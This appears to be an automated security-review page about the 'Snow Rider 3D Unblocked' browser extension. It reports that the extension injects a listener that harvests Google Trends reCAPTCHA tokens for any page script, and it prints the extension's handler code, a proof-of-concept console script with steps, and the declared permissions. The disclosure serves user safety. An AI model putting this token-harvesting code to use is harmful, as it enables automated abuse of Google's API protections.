Is Snow Rider 3D Unblocked safe?
Snow Rider 3D is high risk. Snow Rider 3D Unblocked injects a script into every page listening for 'Extension.GetExploreToken'. When triggered, it calls reCAPTCHA with a hardcoded key for the Trends API and returns the token. Any page's script can trigger this.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Game extension harvests reCAPTCHA tokens for Google Trends API
Snow Rider 3D Unblocked injects a script into every page listening for 'Extension.GetExploreToken'.
When triggered, it calls reCAPTCHA with a hardcoded key for the Trends API and returns the token.
Any page's script can trigger this.
Any script on any page you visit dispatches a custom DOM event named 'Extension.GetExploreToken'.
No user interaction is required; the event can be fired automatically by ad-network code or any other third-party script.
The extension calls Google reCAPTCHA using a hardcoded key and returns the token to the page.
The token is valid for calling the Google Trends Explore API (/trends/api/explore) and is dispatched back via 'Extension.GetExploreTokenResponse'.
Token harvesting handler in listener.js
document.addEventListener('Extension.GetExploreToken', async () => {
// Wait for grecaptcha to be available on the page
await new Promise(resolve => {
const waitForCaptcha = () =>
window.grecaptcha ? resolve({}) : requestAnimationFrame(waitForCaptcha);
waitForCaptcha();
});
try {
// Execute reCAPTCHA with the hardcoded Google Trends site key
const token = await window.grecaptcha?.execute(
'6LfnfJYaAAAAAGZJh3AZH1Xmkg7dIj3IP5-xz19W',
{ action: '/trends/api/explore', fast: true }
);
// Return token to any listening page script
document.dispatchEvent(
new CustomEvent('Extension.GetExploreTokenResponse', { detail: token })
);
} catch {
document.dispatchEvent(
new CustomEvent('Extension.GetExploreTokenResponse', { detail: null })
);
}
});| Field | Value | Why it matters | |
|---|---|---|---|
Google reCAPTCHA token | 03AFcWeA5xQ2kRvBZ8p9NkLmT7yJoFe1rUwCdHsGiXpV3aNmQz... | A short-lived credential proving a valid session to Google's Trends API. Any holder can make authenticated requests to /trends/api/explore. | |
Hardcoded site key | 6LfnfJYaAAAAAGZJh3AZH1Xmkg7dIj3IP5-xz19W | The extension uses a fixed reCAPTCHA site key registered for Google Trends, telling the recipient which API the token is for. |
Demonstrates that any in-page script can trigger the reCAPTCHA harvesting and receive the resulting token.
// Run in browser console on any page where Snow Rider 3D is installed
// and where window.grecaptcha is available (e.g. any Google page).
document.addEventListener('Extension.GetExploreTokenResponse', (e) => {
console.log('[PoC] Received Google Trends reCAPTCHA token:', e.detail);
}, { once: true });
document.dispatchEvent(new CustomEvent('Extension.GetExploreToken'));
console.log('[PoC] Event fired — waiting for response...');- 1Install the extension and go to any Google domain (e.g. google.com).
- 2Open DevTools console.
- 3Paste and run this script.
- 4The token in 'Extension.GetExploreTokenResponse' is a live credential for the Trends Explore API.
What it can do
Permissions this extension asks for, as declared in version 1.3.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Run its own code inside the pages you visit
scripting
Store data in your browser
storage
See the address and title of every tab you have open
tabs
Schedule its own background tasks
alarms